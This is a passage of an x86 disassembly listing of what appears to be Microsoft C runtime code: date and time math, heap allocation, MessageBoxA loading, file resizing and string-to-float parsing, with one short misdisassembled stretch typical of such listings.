arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424EE1
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424E71
shl esi, 2
mov eax, ds:dword_43F9E8[esi]
jmp short loc_424E7A
; ---------------------------------------------------------------------------
loc_424E71: ; CODE XREF: sub_424E46+1Ej
shl esi, 2
mov eax, ds:dword_43FA1C[esi]
loc_424E7A: ; CODE XREF: sub_424E46+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_424EB4
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424EBE
; ---------------------------------------------------------------------------
loc_424EB4: ; CODE XREF: sub_424E46+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424EBE: ; CODE XREF: sub_424E46+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424EFC
cmp [ebp+arg_8], 0
jnz short loc_424ED2
mov esi, ds:dword_43F9EC[esi]
jmp short loc_424ED8
; ---------------------------------------------------------------------------
loc_424ED2: ; CODE XREF: sub_424E46+82j
mov esi, ds:dword_43FA20[esi]
loc_424ED8: ; CODE XREF: sub_424E46+8Aj
cmp ecx, esi
jle short loc_424EFC
sub ecx, 7
jmp short loc_424EFC
; ---------------------------------------------------------------------------
loc_424EE1: ; CODE XREF: sub_424E46+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424EF2
mov ecx, ds:dword_43F9E8[eax*4]
jmp short loc_424EF9
; ---------------------------------------------------------------------------
loc_424EF2: ; CODE XREF: sub_424E46+A1j
mov ecx, ds:dword_43FA1C[eax*4]
loc_424EF9: ; CODE XREF: sub_424E46+AAj
add ecx, [ebp+arg_18]
loc_424EFC: ; CODE XREF: sub_424E46+7Cj
; sub_424E46+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424F2D
mov eax, [ebp+arg_1C]
mov ds:dword_43F9D4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov ds:dword_43F9D0, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov ds:dword_43F9D8, eax
jmp short loc_424F82
; ---------------------------------------------------------------------------
loc_424F2D: ; CODE XREF: sub_424E46+BAj
mov eax, [ebp+arg_1C]
mov ds:dword_43F9E4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, ds:dword_43F940
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov ds:dword_43F9E8, eax
jns short loc_424F65
add eax, 5265C00h
dec ecx
mov ds:dword_43F9E8, eax
jmp short loc_424F76
; ---------------------------------------------------------------------------
loc_424F65: ; CODE XREF: sub_424E46+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424F7C
sub eax, edx
inc ecx
mov ds:dword_43F9E8, eax
loc_424F76: ; CODE XREF: sub_424E46+11Dj
mov ds:dword_43F9E4, ecx
loc_424F7C: ; CODE XREF: sub_424E46+126j
mov ds:dword_43F9E0, ebx
loc_424F82: ; CODE XREF: sub_424E46+E5j
pop esi
pop ebx
pop ebp
retn
sub_424E46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F86 proc near ; CODE XREF: sub_42294B+22p
; sub_42294B+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_424FA7
test esi, esi
jnz short loc_424FA1
push 1
pop esi
loc_424FA1: ; CODE XREF: sub_424F86+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424FA7: ; CODE XREF: sub_424F86+12j
; sub_424F86+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425006
mov eax, ds:dword_4DF548
cmp eax, 3
jnz short loc_424FD2
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4DF540
ja short loc_424FF1
push eax
call sub_41E3EB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42501C
jmp short loc_424FF1
; ---------------------------------------------------------------------------
loc_424FD2: ; CODE XREF: sub_424F86+30j
cmp eax, 2
jnz short loc_424FF1
cmp esi, ds:dword_43EF84
ja short loc_424FF1
mov eax, esi
shr eax, 4
push eax
call sub_41EE8E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425030
loc_424FF1: ; CODE XREF: sub_424F86+3Bj
; sub_424F86+4Aj ...
push esi
push 8
push ds:dword_4DF544
call ds:dword_428148 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_42502A
loc_425006: ; CODE XREF: sub_424F86+26j
cmp ds:dword_4DDF3C, 0
jz short loc_42502A
push esi
call sub_41F532
test eax, eax
pop ecx
jz short loc_425033
jmp short loc_424FA7
; ---------------------------------------------------------------------------
loc_42501C: ; CODE XREF: sub_424F86+48j
push [ebp+arg_0]
loc_42501F: ; CODE XREF: sub_424F86+ABj
push 0
push edi
call sub_41B780
add esp, 0Ch
loc_42502A: ; CODE XREF: sub_424F86+7Ej
; sub_424F86+87j
mov eax, edi
loc_42502C: ; CODE XREF: sub_424F86+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425030: ; CODE XREF: sub_424F86+69j
push esi
jmp short loc_42501F
; ---------------------------------------------------------------------------
loc_425033: ; CODE XREF: sub_424F86+92j
xor eax, eax
jmp short loc_42502C
sub_424F86 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4229F0
loc_425037: ; CODE XREF: sub_4229F0+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp ds:dword_4DF300, esi
jle short loc_42508A
loc_425046: ; CODE XREF: sub_4229F0+2698j
mov eax, ds:dword_4DE2E4
mov eax, [eax+esi*4]
test eax, eax
jz short loc_425081
test byte ptr [eax+0Ch], 83h
jz short loc_425065
push eax
call sub_41B24B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425065
inc edi
loc_425065: ; CODE XREF: sub_4229F0+2666j
; sub_4229F0+2672j
cmp esi, 14h
jl short loc_425081
mov eax, ds:dword_4DE2E4
push dword ptr [eax+esi*4]
call sub_41B2A1
mov eax, ds:dword_4DE2E4
pop ecx
and dword ptr [eax+esi*4], 0
loc_425081: ; CODE XREF: sub_4229F0+2660j
; sub_4229F0+2678j
inc esi
cmp esi, ds:dword_4DF300
jl short loc_425046
loc_42508A: ; CODE XREF: sub_4229F0+2654j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4229F0
; =============== S U B R O U T I N E =======================================
sub_42508F proc near ; CODE XREF: seg000:004231A1p
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_4250A0
add esp, 0Ch
retn
sub_42508F endp
; =============== S U B R O U T I N E =======================================
sub_4250A0 proc near ; CODE XREF: sub_42508F+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test ds:byte_4DF421[eax], cl
jnz short loc_4250CD
cmp [esp+arg_4], 0
jz short loc_4250C6
movzx eax, ds:word_43EF92[eax*2]
and eax, [esp+arg_4]
jmp short loc_4250C8
; ---------------------------------------------------------------------------
loc_4250C6: ; CODE XREF: sub_4250A0+16j
xor eax, eax
loc_4250C8: ; CODE XREF: sub_4250A0+24j
test eax, eax
jnz short loc_4250CD
retn
; ---------------------------------------------------------------------------
loc_4250CD: ; CODE XREF: sub_4250A0+Fj
; sub_4250A0+2Aj
push 1
pop eax
retn
sub_4250A0 endp
; =============== S U B R O U T I N E =======================================
sub_4250D1 proc near ; CODE XREF: sub_4238CD+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp ds:dword_4DE1A4, ebx
push esi
push edi
jnz short loc_425120
push offset aUser32_dll ; "user32.dll"
call ds:dword_4280B8 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_425156
mov esi, ds:dword_4280BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov ds:dword_4DE1A4, eax
jz short loc_425156
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov ds:dword_4DE1A8, eax
call esi
mov ds:dword_4DE1AC, eax
loc_425120: ; CODE XREF: sub_4250D1+Bj
mov eax, ds:dword_4DE1A8
test eax, eax
jz short loc_42513F
call eax
mov ebx, eax
test ebx, ebx
jz short loc_42513F
mov eax, ds:dword_4DE1AC
test eax, eax
jz short loc_42513F
push ebx
call eax
mov ebx, eax
loc_42513F: ; CODE XREF: sub_4250D1+56j
; sub_4250D1+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call ds:dword_4DE1A4
loc_425152: ; CODE XREF: sub_4250D1+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425156: ; CODE XREF: sub_4250D1+1Cj
; sub_4250D1+33j
xor eax, eax
jmp short loc_425152
sub_4250D1 endp
; ---------------------------------------------------------------------------
loc_42515A: ; CODE XREF: sub_423C7E+271p
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BD10
push ebx
mov ebx, [ebp+8]
push esi
xor esi, esi
cmp ebx, ds:dword_4DE2E0
jnb loc_42528F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_4DE1E0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42528F
push 1
push esi
push ebx
call sub_422A04
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_425299
push 2
push esi
push ebx
call sub_422A04
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425299
push edi
mov edi, [ebp+0Ch]
sub edi, eax
test edi, edi
jle short loc_42523C
push 1000h
lea eax, [ebp-1000h]
push esi
push eax
call sub_41B780
push 8000h
push ebx
call sub_425D94
add esp, 14h
mov [ebp+0Ch], eax
loc_4251F0: ; CODE XREF: seg000:00425217j
mov eax, 1000h
cmp edi, eax
jge short loc_4251FB
mov eax, edi
loc_4251FB: ; CODE XREF: seg000:004251F7j
push eax
lea eax, [ebp-1000h]
push eax
push ebx
call loc_422BF6
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_425219
sub edi, eax
test edi, edi
jle short loc_42522F
jmp short loc_4251F0
; ---------------------------------------------------------------------------
loc_425219: ; CODE XREF: seg000:0042520Fj
cmp ds:dword_4DDEB8, 5
jnz short loc_42522C
mov ds:dword_4DDEB4, 0Dh
loc_42522C: ; CODE XREF: seg000:00425220j
or esi, 0FFFFFFFFh
loc_42522F: ; CODE XREF: seg000:00425215j
push dword ptr [ebp+0Ch]
push ebx
call sub_425D94
pop ecx
pop ecx
jmp short loc_42527C
; ---------------------------------------------------------------------------
loc_42523C: ; CODE XREF: seg000:004251CBj
jge short loc_42527C
push 0
loc_425240: ; DATA XREF: seg002:off_43ADB0o
push dword ptr [ebp+0Ch]
push ebx
call sub_422A04
push ebx
call sub_423BA6
add esp, 10h
push eax
call near ptr 0B10000h
cmp cl, [ebx+1BDEF7F0h]
div bh
fimul word ptr [esi-7Dh]
; ---------------------------------------------------------------------------
db 0FEh
; ---------------------------------------------------------------------------
push dword ptr [ebp+15h]
mov ds:dword_4DDEB4, 0Dh
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4DDEB8, eax
loc_42527C: ; CODE XREF: seg000:0042523Aj
; seg000:loc_42523Cj
push 0
push dword ptr [ebp+8]
push ebx
call sub_422A04
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42529C
; ---------------------------------------------------------------------------
loc_42528F: ; CODE XREF: seg000:00425174j
; seg000:00425190j
mov ds:dword_4DDEB4, 9
loc_425299: ; CODE XREF: seg000:004251A8j
; seg000:004251BDj
or eax, 0FFFFFFFFh
loc_42529C: ; CODE XREF: seg000:0042528Dj
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4252A0 proc near ; CODE XREF: sub_42441F+2Bp
; sub_42441F+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_4252B6
cmp ecx, esi
jnb short loc_4252B9
loc_4252B6: ; CODE XREF: sub_4252A0+10j
push 1
pop eax
loc_4252B9: ; CODE XREF: sub_4252A0+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_4252A0 endp
; =============== S U B R O U T I N E =======================================
sub_4252C1 proc near ; CODE XREF: sub_42537A+40p
; sub_42537A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_4252A0
add esp, 0Ch
test eax, eax
jz short loc_4252F3
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_4252A0
add esp, 0Ch
test eax, eax
jz short loc_4252F3
inc dword ptr [esi+8]
loc_4252F3: ; CODE XREF: sub_4252C1+19j
; sub_4252C1+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_4252A0
add esp, 0Ch
test eax, eax
jz short loc_42530B
inc dword ptr [esi+8]
loc_42530B: ; CODE XREF: sub_4252C1+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_4252A0
add esp, 0Ch
pop edi
pop esi
retn
sub_4252C1 endp
; =============== S U B R O U T I N E =======================================
sub_42531F proc near ; CODE XREF: sub_42537A+30p
; sub_42537A+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_42531F endp
; =============== S U B R O U T I N E =======================================
sub_42534D proc near ; CODE XREF: sub_425912+1C8p
; sub_425E0A+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_42534D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42537A proc near ; CODE XREF: sub_425441+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_4253EE
push edi
mov [ebp+arg_8], eax
loc_4253A1: ; CODE XREF: sub_42537A+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_42531F
push ebx
call sub_42531F
lea eax, [ebp+var_10]
push eax
push ebx
call sub_4252C1
push ebx
call sub_42531F
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_4252C1
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_4253A1
xor edx, edx
pop edi
loc_4253EE: ; CODE XREF: sub_42537A+21j
; sub_42537A+9Fj
cmp [ebx+8], edx
jnz short loc_42541B
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_4253EE
; ---------------------------------------------------------------------------
loc_42541B: ; CODE XREF: sub_42537A+77j
mov esi, 8000h
loc_425420: ; CODE XREF: sub_42537A+B9j
test [ebx+8], esi
jnz short loc_425435
push ebx
call sub_42531F
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_425420
; ---------------------------------------------------------------------------
loc_425435: ; CODE XREF: sub_42537A+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_42537A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425441 proc near ; CODE XREF: sub_424768+17p
; sub_424795+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_42547C: ; CODE XREF: sub_425441+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_425492
cmp cl, 9
jz short loc_425492
cmp cl, 0Ah
jz short loc_425492
cmp cl, 0Dh
jnz short loc_425495
loc_425492: ; CODE XREF: sub_425441+40j
; sub_425441+45j ...
inc edi
jmp short loc_42547C
; ---------------------------------------------------------------------------
loc_425495: ; CODE XREF: sub_425441+4Fj
push 4
pop esi
loc_425498: ; CODE XREF: sub_425441+AEj
; sub_425441+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_42571B ; default
; jumptable 004254A4 case 10
jmp ds:off_4258E2[eax*4] ; switch jump
loc_4254AB: ; DATA XREF: seg000:off_4258E2o
cmp bl, 31h ; jumptable 004254A4 case 0
jl short loc_4254BC
cmp bl, 39h
jg short loc_4254BC
loc_4254B5: ; CODE XREF: sub_425441+C4j
; sub_425441+118j
push 3
jmp loc_4256D9
; ---------------------------------------------------------------------------
loc_4254BC: ; CODE XREF: sub_425441+6Dj
; sub_425441+72j
cmp bl, ds:byte_43F198
jnz short loc_4254CB
loc_4254C4: ; CODE XREF: sub_425441+124j
push 5
jmp loc_425711
; ---------------------------------------------------------------------------
loc_4254CB: ; CODE XREF: sub_425441+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4254F1
dec eax
dec eax
jz short loc_4254E5
sub eax, 3
jnz loc_4257B4
jmp loc_425574
; ---------------------------------------------------------------------------
loc_4254E5: ; CODE XREF: sub_425441+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425498
; ---------------------------------------------------------------------------
loc_4254F1: ; CODE XREF: sub_425441+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425498
; ---------------------------------------------------------------------------
loc_4254FA: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
cmp bl, 31h ; jumptable 004254A4 case 1
mov [ebp+var_10], edx
jl short loc_425507
cmp bl, 39h
jle short loc_4254B5
loc_425507: ; CODE XREF: sub_425441+BFj
cmp bl, ds:byte_43F198
jz loc_4255CF
cmp bl, 2Bh
jz short loc_425549
cmp bl, 2Dh
jz short loc_425549
cmp bl, 30h
jz short loc_425574
loc_425522: ; CODE XREF: sub_425441+207j
cmp bl, 43h
jle loc_4257B4
cmp bl, 45h
jle short loc_425542
cmp bl, 63h
jle loc_4257B4
cmp bl, 65h
jg loc_4257B4
loc_425542: ; CODE XREF: sub_425441+EDj
push 6
jmp loc_425711
; ---------------------------------------------------------------------------
loc_425549: ; CODE XREF: sub_425441+D5j
; sub_425441+DAj ...
dec edi
push 0Bh
jmp loc_425711
; ---------------------------------------------------------------------------
loc_425551: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
cmp bl, 31h ; jumptable 004254A4 case 2
jl short loc_42555F
cmp bl, 39h
jle loc_4254B5
loc_42555F: ; CODE XREF: sub_425441+113j
cmp bl, ds:byte_43F198
jz loc_4254C4
cmp bl, 30h
jnz loc_425729
loc_425574: ; CODE XREF: sub_425441+9Fj
; sub_425441+DFj
mov eax, edx
jmp loc_425498
; ---------------------------------------------------------------------------
loc_42557B: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
mov [ebp+var_10], edx ; jumptable 004254A4 case 3
loc_42557E: ; CODE XREF: sub_425441+184j
cmp ds:dword_43F194, edx
jle short loc_425597
movzx eax, bl
push esi
push eax
call sub_41F735
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4255A5
; ---------------------------------------------------------------------------
loc_425597: ; CODE XREF: sub_425441+143j
mov ecx, ds:off_43EF88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4255A5: ; CODE XREF: sub_425441+154j
test eax, eax
jz short loc_4255C7
cmp [ebp+var_4], 19h
jnb short loc_4255BF
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_4255C2
; ---------------------------------------------------------------------------
loc_4255BF: ; CODE XREF: sub_425441+16Cj
inc [ebp+var_8]
loc_4255C2: ; CODE XREF: sub_425441+17Cj
mov bl, [edi]
inc edi
jmp short loc_42557E
; ---------------------------------------------------------------------------
loc_4255C7: ; CODE XREF: sub_425441+166j
cmp bl, ds:byte_43F198
jnz short loc_425636
loc_4255CF: ; CODE XREF: sub_425441+CCj
mov eax, esi
jmp loc_425498
; ---------------------------------------------------------------------------
loc_4255D6: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
cmp [ebp+var_4], 0 ; jumptable 004254A4 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_4255EF
loc_4255E2: ; CODE XREF: sub_425441+1ACj
cmp bl, 30h
jnz short loc_4255EF
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_4255E2
; ---------------------------------------------------------------------------
loc_4255EF: ; CODE XREF: sub_425441+19Fj
; sub_425441+1A4j ...
cmp ds:dword_43F194, edx
jle short loc_425608
movzx eax, bl
push esi
push eax
call sub_41F735
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425616
; ---------------------------------------------------------------------------
loc_425608: ; CODE XREF: sub_425441+1B4j
mov ecx, ds:off_43EF88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425616: ; CODE XREF: sub_425441+1C5j
test eax, eax
jz short loc_425636
cmp [ebp+var_4], 19h
jnb short loc_425631
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425631: ; CODE XREF: sub_425441+1DDj
mov bl, [edi]
inc edi
jmp short loc_4255EF
; ---------------------------------------------------------------------------
loc_425636: ; CODE XREF: sub_425441+18Cj
; sub_425441+1D7j
cmp bl, 2Bh
jz loc_425549
cmp bl, 2Dh
jz loc_425549
jmp loc_425522
; ---------------------------------------------------------------------------
loc_42564D: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
cmp ds:dword_43F194, edx ; jumptable 004254A4 case 5
mov [ebp+var_24], edx
jle short loc_425669
movzx eax, bl
push esi
push eax
call sub_41F735
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425669: ; CODE XREF: sub_425441+215j
mov ecx, ds:off_43EF88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425677: ; CODE XREF: sub_425441+226j
test eax, eax
jz loc_425729
mov eax, esi
jmp short loc_4256DA
; ---------------------------------------------------------------------------
loc_425683: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
lea ecx, [edi-2] ; jumptable 004254A4 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_425693
cmp bl, 39h
jle short loc_4256D7
loc_425693: ; CODE XREF: sub_425441+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_42570F
dec eax
dec eax
jz short loc_425703
sub eax, 3
jnz loc_4257B7
loc_4256A8: ; CODE XREF: sub_425441+2A4j
push 8
jmp short loc_425711
; ---------------------------------------------------------------------------
loc_4256AC: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
mov [ebp+var_20], edx ; jumptable 004254A4 case 8
loc_4256AF: ; CODE XREF: sub_425441+276j
cmp bl, 30h
jnz short loc_4256B9
mov bl, [edi]
inc edi
jmp short loc_4256AF
; ---------------------------------------------------------------------------
loc_4256B9: ; CODE XREF: sub_425441+271j
cmp bl, 31h
jl loc_4257B4
cmp bl, 39h
jg loc_4257B4
jmp short loc_4256D7
; ---------------------------------------------------------------------------
loc_4256CD: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
cmp bl, 31h ; jumptable 004254A4 case 7
jl short loc_4256E0
cmp bl, 39h
jg short loc_4256E0
loc_4256D7: ; CODE XREF: sub_425441+250j
; sub_425441+28Aj
push 9
loc_4256D9: ; CODE XREF: sub_425441+76j
pop eax
loc_4256DA: ; CODE XREF: sub_425441+240j
dec edi
jmp loc_425498
; ---------------------------------------------------------------------------
loc_4256E0: ; CODE XREF: sub_425441+28Fj
; sub_425441+294j
cmp bl, 30h
jnz short loc_425729
jmp short loc_4256A8
; ---------------------------------------------------------------------------
loc_4256E7: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
cmp [ebp+arg_18], 0 ; jumptable 004254A4 case 11
jz short loc_425717
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_42570F
dec eax
dec eax
jnz loc_4257B7
loc_425703: ; CODE XREF: sub_425441+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425498
; ---------------------------------------------------------------------------
loc_42570F: ; CODE XREF: sub_425441+258j
; sub_425441+2B8j
push 7
loc_425711: ; CODE XREF: sub_425441+85j
; sub_425441+103j ...
pop eax
jmp loc_425498
; ---------------------------------------------------------------------------
loc_425717: ; CODE XREF: sub_425441+2AAj
push 0Ah
dec edi
pop eax
loc_42571B: ; CODE XREF: sub_425441+5Dj
; sub_425441+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 004254A4 case 10
jz loc_4257B9
jmp loc_425498
; ---------------------------------------------------------------------------
loc_425729: ; CODE XREF: sub_425441+12Dj
; sub_425441+238j ...
mov edi, [ebp+arg_8]
jmp loc_4257B9
; ---------------------------------------------------------------------------
loc_425731: ; CODE XREF: sub_425441+63j
; DATA XREF: seg000:off_4258E2o
mov [ebp+var_20], 1 ; jumptable 004254A4 case 9
xor esi, esi
loc_42573A: ; CODE XREF: sub_425441+339j
cmp ds:dword_43F194, 1
jle short loc_425752
movzx eax, bl
push 4
push eax
call sub_41F735
pop ecx
pop ecx
jmp short loc_425761
; ---------------------------------------------------------------------------
loc_425752: ; CODE XREF: sub_425441+300j
mov ecx, ds:off_43EF88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425761: ; CODE XREF: sub_425441+30Fj
test eax, eax
jz short loc_425781
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_42577C
mov bl, [edi]
inc edi
jmp short loc_42573A
; ---------------------------------------------------------------------------
loc_42577C: ; CODE XREF: sub_425441+334j
mov esi, 1451h
loc_425781: ; CODE XREF: sub_425441+322j
mov [ebp+var_1C], esi
loc_425784: ; CODE XREF: sub_425441+371j
cmp ds:dword_43F194, 1
jle short loc_42579C
movzx eax, bl
push 4
push eax
call sub_41F735
pop ecx
pop ecx
jmp short loc_4257AB
; ---------------------------------------------------------------------------
loc_42579C: ; CODE XREF: sub_425441+34Aj
mov ecx, ds:off_43EF88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4257AB: ; CODE XREF: sub_425441+359j
test eax, eax
jz short loc_4257B4
mov bl, [edi]
inc edi
